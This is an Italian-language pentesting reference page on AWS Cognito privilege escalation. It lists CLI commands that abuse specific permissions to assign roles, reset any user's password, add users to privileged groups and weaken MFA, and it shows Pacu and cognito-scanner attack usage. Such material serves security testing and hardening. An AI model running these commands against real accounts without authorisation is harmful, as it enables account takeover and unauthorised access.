AWS - Cognito Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Cognito

Per ulteriori informazioni su Cognito, controlla:

pageAWS - Cognito Enum

Recupero delle credenziali da Identity Pool

Poiché Cognito può concedere credenziali IAM sia agli utenti autenticati che agli utenti non autenticati, se individui l'ID del pool di identità di un'applicazione (dovrebbe essere codificato all'interno), puoi ottenere nuove credenziali e quindi ottenere privilegi elevati (all'interno di un account AWS in cui probabilmente non avevi nemmeno alcuna credenziale in precedenza).

Per ulteriori informazioni controlla questa pagina.

Impatto potenziale: Privilegi elevati diretti per il ruolo dei servizi associato agli utenti non autenticati (e probabilmente anche per quello associato agli utenti autenticati).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con questa autorizzazione puoi assegnare qualsiasi ruolo di Cognito agli utenti autenticati/non autenticati dell'applicazione Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Se l'applicazione Cognito non ha gli utenti non autenticati abilitati, potrebbe essere necessaria anche l'autorizzazione cognito-identity:UpdateIdentityPool per abilitarli.

Impatto potenziale: Privilegio diretto su qualsiasi ruolo Cognito.

cognito-identity:update-identity-pool

Un attaccante con questa autorizzazione potrebbe impostare ad esempio un Cognito User Pool sotto il suo controllo o qualsiasi altro provider di identità in cui può effettuare il login come modo per accedere a questo Cognito Identity Pool. Quindi, semplicemente effettuando il login su quel provider di utenti gli permetterà di accedere al ruolo autenticato configurato nell'Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È anche possibile abusare di questa autorizzazione per consentire l'autenticazione di base:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impatto potenziale: Compromettere il ruolo IAM autenticato configurato all'interno del pool di identità.

cognito-idp:AdminAddUserToGroup

Questa autorizzazione consente di aggiungere un utente Cognito a un gruppo Cognito, quindi un attaccante potrebbe abusare di questa autorizzazione per aggiungere un utente sotto il suo controllo ad altri gruppi con privilegi migliori o diversi ruoli IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impatto potenziale: Privesc ad altri gruppi Cognito e ruoli IAM collegati ai gruppi del pool utenti.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaccante con queste autorizzazioni potrebbe creare/aggiornare gruppi con ogni ruolo IAM che può essere utilizzato da un Cognito Identity Provider compromesso e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impatto potenziale: Privesc ad altri ruoli IAM di Cognito.

cognito-idp:AdminConfirmSignUp

Questa autorizzazione consente di verificare una registrazione. Per impostazione predefinita, chiunque può accedere alle applicazioni Cognito, se viene lasciata così, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questa autorizzazione.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potenziale Impatto: Privesc indiretto al ruolo IAM del pool di identità per gli utenti autenticati se è possibile registrare un nuovo utente. Privesc indiretto ad altre funzionalità dell'app essendo in grado di confermare qualsiasi account.

cognito-idp:AdminCreateUser

Questa autorizzazione consentirebbe a un attaccante di creare un nuovo utente all'interno del pool di utenti. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la sua password.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potenziale Impatto: Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'applicazione, consentendo di creare qualsiasi utente.

cognito-idp:AdminEnableUser

Questo permesso può essere utile in uno scenario molto particolare in cui un attaccante ha trovato le credenziali di un utente disabilitato e ha bisogno di abilitarlo nuovamente.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potenziale impatto: Privilegio indiretto per l'escalation del ruolo IAM del pool di identità per gli utenti autenticati e le autorizzazioni dell'utente se l'attaccante avesse le credenziali di un utente disabilitato.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Questa autorizzazione consente di effettuare il login con il metodo ADMIN_USER_PASSWORD_AUTH. Per ulteriori informazioni seguire il link.

cognito-idp:AdminSetUserPassword

Questa autorizzazione consentirebbe a un attaccante di cambiare la password di qualsiasi utente, permettendogli di impersonare quell'utente (che non ha abilitata l'autenticazione multifattore).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impatto potenziale: Privesc diretta potenzialmente per qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un attaccante potrebbe potenzialmente sfruttare questa autorizzazione per impostare un telefono cellulare sotto il suo controllo come SMS MFA di un utente.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Simile al precedente, questa autorizzazione può essere utilizzata per impostare le preferenze MFA di un utente al fine di aggirare la protezione MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Simile alla precedente, questa autorizzazione può essere utilizzata per impostare le preferenze MFA di un pool di utenti al fine di aggirare la protezione MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: È anche possibile aggiornare il pool degli utenti per modificare la politica MFA. Controlla qui il comando cli.

Potenziale Impatto: Privilegio di escalation indiretto che potrebbe permettere all'attaccante di bypassare la protezione MFA per potenzialmente qualsiasi utente di cui conosce le credenziali.

cognito-idp:AdminUpdateUserAttributes

Un attaccante con questa autorizzazione potrebbe modificare l'email, il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere maggiori privilegi in un'applicazione sottostante. Ciò consente di modificare un'email o un numero di telefono e impostarlo come verificato.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potenziale Impatto: Potenziale privesc indiretto nell'applicazione sottostante utilizzando Cognito User Pool che fornisce privilegi basati sugli attributi dell'utente.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaccante con questa autorizzazione potrebbe creare un nuovo User Pool Client meno restrittivo rispetto ai client pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo di autenticazione, non avere alcun segreto, disabilitare la revoca dei token, consentire ai token di essere validi per un periodo più lungo...

La stessa cosa può essere fatta se invece di creare un nuovo client, viene modificato uno già esistente.

Nella riga di comando (o nella riga di comando di aggiornamento) è possibile vedere tutte le opzioni, controllale!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potenziale impatto: Potenziale privesc indiretto al pool di identità autorizzato dall'utente del pool, creando un nuovo client che rilassa le misure di sicurezza e consente a un attaccante di effettuare il login con un utente che è stato in grado di creare.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaccante potrebbe sfruttare questa autorizzazione per creare utenti caricando un file CSV con nuovi utenti.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(In caso in cui si crei un nuovo lavoro di importazione, potrebbe essere necessario anche il permesso di passrole iam, non l'ho ancora testato).

Potenziale impatto: Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'applicazione, potendo creare qualsiasi utente.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaccante potrebbe creare un nuovo provider di identità per poi essere in grado di effettuare il login tramite questo provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potenziale Impatto: Privesc diretta al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretta ad altre funzionalità dell'applicazione, potendo creare qualsiasi utente.

Analisi di cognito-sync:*

Questa è una autorizzazione molto comune di default nei ruoli dei pool di identità di Cognito. Anche se un carattere jolly in un'autorizzazione sembra sempre brutto (soprattutto provenendo da AWS), le autorizzazioni fornite non sono particolarmente utili dal punto di vista di un attaccante.

Questa autorizzazione consente di leggere le informazioni sull'uso dei pool di identità e gli ID delle identità all'interno dei pool di identità (che non sono informazioni sensibili). Gli ID delle identità potrebbero avere Dataset assegnati ad essi, che sono informazioni sulle sessioni (AWS lo definisce come un gioco salvato). Potrebbe essere possibile che contengano qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella pagina di enumerazione come accedere a queste informazioni.

Un attaccante potrebbe anche utilizzare queste autorizzazioni per iscriversi a uno stream di Cognito che pubblica le modifiche su questi dataset o a una funzione lambda che viene attivata dagli eventi di Cognito. Non ho mai visto questo essere utilizzato e non mi aspetterei informazioni sensibili qui, ma non è impossibile.

Strumenti Automatici

  • Pacu, il framework di sfruttamento di AWS, include ora i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutti gli asset di Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzabili modificabili, credenziali di pool di identità utilizzabili, ruoli assumibili nei token di identità, ecc.

Per una descrizione delle funzioni dei moduli, consulta la parte 2 del post del blog. Per le istruzioni di installazione, consulta la pagina principale di Pacu.

Utilizzo

Esempio di utilizzo di cognito__attack per tentare la creazione di utenti e tutti i vettori di privesc contro un determinato pool di identità e client del pool di utenti:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool di utenti, i client dei pool di utenti, i pool di identità, gli utenti, ecc. visibili nell'account AWS corrente:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner è un tool CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation di privilegi.

Installazione

$ pip install cognito-scanner

Utilizzo

$ cognito-scanner --help

Per ulteriori informazioni, controlla https://github.com/padok-team/cognito-scanner

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated